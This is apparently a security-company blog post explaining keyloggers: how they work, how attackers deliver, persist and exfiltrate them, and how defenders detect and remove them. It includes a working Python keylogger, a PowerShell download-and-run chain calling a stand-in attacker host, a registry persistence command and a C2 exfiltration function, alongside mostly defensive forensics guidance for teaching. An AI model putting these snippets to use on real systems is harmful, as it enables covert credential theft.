Date
June 10, 2025
Author
Karan Patel
,
CEO

Keyloggers sit at the intersection of surveillance, credential theft, and persistent access. Whether embedded in a phishing payload, dropped by a remote access trojan, or compiled into a custom implant, they represent one of the most quietly effective tools in an attacker's arsenal. This guide breaks down exactly what keyloggers are, how threat actors deploy them, and how defenders and practitioners can detect, analyze, and remove them.

What Is a Keylogger?

A keylogger, short for keystroke logger, is a piece of software or hardware designed to record every key pressed on a target keyboard without the user's knowledge. The captured data is then stored locally or exfiltrated to an attacker-controlled server.

Keyloggers are used legitimately by parents monitoring children's devices and by employers conducting authorized endpoint monitoring. In the hands of a threat actor, however, they become instruments for stealing credentials, session tokens, banking details, and sensitive communications.

There are two primary categories:

Software keyloggers run as processes on the operating system. They operate at the user-mode level, the kernel level, or through API hooking, and they vary significantly in stealth and capability.

Hardware keyloggers are physical devices plugged between a keyboard and a computer, or soldered onto the motherboard. They require physical access but leave virtually no software footprint.

This post focuses on software keyloggers, since they are the variant most commonly encountered in real-world intrusions and penetration testing assessments.

How Keyloggers Work Technically

User-Mode Keyloggers

The most common software keyloggers operate in user space by hooking into Windows API functions. The SetWindowsHookEx function is the classic mechanism: it installs a hook procedure into a hook chain, intercepting messages before they reach the target application.

HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

[cta]

The WH_KEYBOARD_LL flag installs a low-level keyboard hook that captures keystrokes system-wide, across all applications, without needing elevated privileges in many configurations. This is exactly why user-mode keyloggers are so prevalent: they are easy to write, require no kernel driver, and function on standard user accounts.

Kernel-Mode Keyloggers

Kernel-mode keyloggers operate as device drivers, positioning themselves between the keyboard hardware and the operating system. They intercept the IRP (I/O Request Packet) stack directly, capturing keystrokes before any user-space process sees them. Detection is significantly harder because standard process monitoring tools cannot see into kernel space without their own kernel-level visibility.

Form Grabbers

A close cousin of the keylogger is the form grabber, which hooks browser functions to intercept data submitted through web forms, capturing credentials before they are encrypted by HTTPS. Tools like TrickBot and Dridex have used this technique extensively, targeting banking portals regardless of whether the victim uses a virtual keyboard.

How Attackers Deploy Keyloggers in Real-World Attacks

Phishing and Malicious Attachments

The most common delivery vector remains spearphishing. A target receives a convincingly crafted email with a macro-enabled Office document. When the macro executes, it drops and runs a keylogger payload. A simplified PowerShell download-and-execute chain looks like this:

$url = "https://attacker-c2.example/payload.exe"
$dest = "$env:APPDATA\Microsoft\svchost32.exe"
Invoke-WebRequest -Uri $url -OutFile $dest
Start-Process $dest

[cta]

In real engagements, attackers obfuscate this chain heavily, often using Base64 encoding, string concatenation, and environment variable substitution to bypass signature-based detection.

Python-Based Keylogger Example

For demonstration in controlled lab environments, such as those taught at Redfox Cybersecurity Academy, a Python keylogger illustrates the underlying concept clearly. The pynput library provides cross-platform keyboard monitoring:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(
   filename="keylog.txt",
   level=logging.DEBUG,
   format="%(asctime)s: %(message)s"
)

def on_press(key):
   try:
       logging.info(str(key.char))
   except AttributeError:
       logging.info(f"[{key}]")

with Listener(on_press=on_press) as listener:
   listener.join()

[cta]

This captures every keystroke and appends it with a timestamp to a local log file. In an actual attack, the file path would be hidden inside a system directory, and the output would be exfiltrated periodically via HTTPS POST to a C2 server.

Persistence via Registry Run Keys

Once dropped, keyloggers rarely execute only once. Attackers establish persistence to survive reboots. The Windows Registry Run key is the oldest and most common persistence mechanism:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
 /v "WindowsUpdate" ^
 /t REG_SZ ^
 /d "C:\Users\Public\svchost32.exe" ^
 /f

[cta]

More sophisticated actors use scheduled tasks, WMI subscriptions, or COM hijacking to achieve persistence that is harder to detect and survives user profile changes.

Exfiltration via SMTP or HTTPS

Captured keystrokes are worthless without delivery. Attackers commonly use SMTP to email log files or use HTTPS POST requests to a C2 panel. A basic Python exfiltration function looks like this:

import requests

def exfiltrate(log_path, c2_url):
   with open(log_path, "r") as f:
       data = f.read()
   requests.post(c2_url, data={"log": data}, verify=False)

[cta]

Advanced implants use encrypted channels, domain-fronting, or DNS tunneling to blend exfiltration traffic with legitimate network activity, making detection at the perimeter significantly harder.

Real-World Keylogger Families Used by Threat Actors

Understanding which tools appear in real intrusions sharpens both offensive awareness and defensive response. Several well-documented families are worth knowing:

  • Agent Tesla is a .NET-based RAT with built-in keylogging, clipboard monitoring, and screenshot capture. It has been observed in campaigns targeting finance, government, and manufacturing sectors. Delivery is almost always via phishing with a malicious archive attachment.
  • Snake Keylogger (also known as 404 Keylogger) is a credential stealer written in .NET that targets browser-stored passwords, clipboard contents, and keystrokes. It exfiltrates data via SMTP, FTP, or Telegram bots.
  • HawkEye is a commercially sold keylogger kit that has been used in business email compromise (BEC) campaigns. It captures keystrokes, screenshots, and clipboard data, and it includes an SMTP exfiltration module.

If you want to understand how these tools behave at the binary level, including their evasion techniques and network indicators, the malware analysis curriculum at Redfox Cybersecurity Academy covers static, dynamic, and behavioral analysis in depth.

How to Detect a Keylogger

Detection strategies fall into three categories: behavioral analysis, memory analysis, and network monitoring. A layered approach catches what any single method misses.

Checking Running Processes and Hooks

On Windows, the Sysinternals suite remains invaluable. Process Monitor and Process Explorer can reveal processes making unexpected Registry reads or writing to unusual file paths. For a more targeted approach, the Autoruns tool from Sysinternals shows everything configured to run at startup, which is where most keylogger persistence mechanisms live.

To enumerate loaded hooks programmatically, you can use GetHookInfo via WinAPI or query from the command line:

Get-Process | Where-Object {$_.Modules.ModuleName -like "*hook*"} |
Select-Object Name, Id, Path

[cta]

This is not foolproof because sophisticated keyloggers rename their modules, but it is a fast triage step.

Memory Forensics with Volatility

For a compromised system where you suspect a kernel-mode or injected keylogger, memory forensics provides the deepest visibility. Volatility 3, an open-source memory analysis framework, can examine a memory image for injected code and suspicious hooks.

Acquire a memory image using winpmem or a similar tool, then analyze:

# List processes and look for anomalies
python3 vol.py -f memory.raw windows.pslist.PsList

# Look for injected code in process memory
python3 vol.py -f memory.raw windows.malfind.Malfind

# Check loaded drivers for unknown kernel modules
python3 vol.py -f memory.raw windows.modules.Modules

[cta]

The malfind plugin identifies memory regions marked as executable and writable that contain code not backed by a file on disk, a strong indicator of injected shellcode or a loaded keylogger DLL.

Network Traffic Analysis

Keylogger exfiltration creates detectable patterns if you know what to look for. Periodic outbound connections to the same IP or domain at regular intervals are a common indicator. SMTP traffic from a workstation that has no reason to send email is another strong signal.

Using Wireshark or Zeek, you can filter for unusual outbound SMTP:

# Zeek: filter SMTP connections from workstations
zeek -r capture.pcap
cat smtp.log | zeek-cut uid id.orig_h id.resp_h mailfrom rcptto

[cta]

Pair this with threat intelligence feeds using tools like MISP or OpenCTI to cross-reference C2 IP addresses and domains observed in Agent Tesla or Snake Keylogger campaigns.

File System Indicators

Keyloggers need to write captured keystrokes somewhere. Look for recently created or modified files in unusual locations, particularly in %APPDATA%, %TEMP%, %PUBLIC%, and inside system directories with file names mimicking legitimate Windows processes.

Get-ChildItem -Path $env:APPDATA -Recurse -Force |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |
Select-Object FullName, LastWriteTime, Length |
Sort-Object LastWriteTime -Descending

[cta]

Files with .txt, .dat, or .log extensions that are being written to periodically and that belong to an unrecognized process are worth investigating immediately.

How to Remove a Keylogger

Once detected, removal requires more than simply killing a process. The persistence mechanism must be dismantled first, or the keylogger will reload on next boot.

Step 1: Identify and terminate the malicious process. Use taskkill /PID <pid> /F on Windows or kill -9 <pid> on Linux.

Step 2: Remove the persistence entry. If the keylogger persists via a Run key, remove it:

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f

[cta]

If it uses a scheduled task:

schtasks /Delete /TN "MicrosoftUpdateService" /F

[cta]

Step 3: Delete the payload file. Navigate to the path identified in analysis and delete it. In some cases the file will be locked by a running process; use tools like Unlocker or boot into a recovery environment.

Step 4: Check for additional implants. Keyloggers are rarely deployed in isolation. Run a full scan with a reputable endpoint detection and response (EDR) tool. Review all startup entries in Autoruns. Assume that if a keylogger was present, credential theft occurred, and rotate passwords and session tokens immediately.

Step 5: Preserve evidence before remediation if this is a formal incident. Take a memory image and disk image for forensic analysis before wiping the system. Chain of custody matters if legal or regulatory consequences follow.

Defensive Controls That Prevent Keylogger Infections

Prevention is always cheaper than remediation. The following controls directly reduce keylogger exposure:

  • Application whitelisting via Windows Defender Application Control (WDAC) or AppLocker prevents unknown executables from running, which blocks most keylogger dropper payloads before they execute.
  • Endpoint Detection and Response (EDR) tools such as Elastic Security, Velociraptor, or CrowdStrike Falcon provide behavioral detection that catches API hooking patterns and unusual process behaviors that signature-based antivirus misses.
  • Macro policies configured via Group Policy to block Office macros from the internet eliminate the most common initial access vector for keylogger delivery.
  • Privileged Access Workstations (PAWs) isolate high-value accounts on hardened systems that are not used for general browsing or email, reducing the attack surface for credential-stealing keyloggers.
  • Multi-factor authentication does not prevent keylogging, but it limits the damage. Even if an attacker captures a password, MFA codes rotate too quickly to replay in most configurations, especially for TOTP-based implementations.

Practitioners who want to build real-world skills in deploying, detecting, and analyzing keyloggers in safe lab environments can find structured training at Redfox Cybersecurity Academy, where offensive and defensive techniques are taught together so that defenders understand the full attack chain.

Key Takeaways

Keyloggers are one of the most effective credential-theft tools available to attackers precisely because they operate silently, often without elevated privileges, and capture everything the user types regardless of encryption in transit. The same properties that make them effective for attackers make them instructive for defenders.

The core detection strategy combines process and hook analysis, memory forensics with tools like Volatility 3, and network traffic monitoring for periodic exfiltration patterns. Removal must address the persistence mechanism first, not just the running process, and any keylogger incident should be treated as a confirmed credential compromise requiring full rotation of secrets.

Understanding how keyloggers are written, deployed, and evaded at a technical level is what separates a reactive defender from a proactive one. If you want to develop that depth of knowledge across the full offensive and defensive stack, explore the curriculum at Redfox Cybersecurity Academy and start building skills that hold up in real engagements.

Copy Code